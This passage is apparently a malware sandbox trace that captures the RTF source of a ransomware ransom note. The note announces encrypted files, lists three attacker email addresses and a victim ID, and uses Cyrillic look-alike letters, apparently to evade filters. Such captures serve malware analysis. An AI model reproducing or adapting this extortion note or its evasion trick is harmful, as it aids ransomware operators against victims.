BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x261aa78, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* 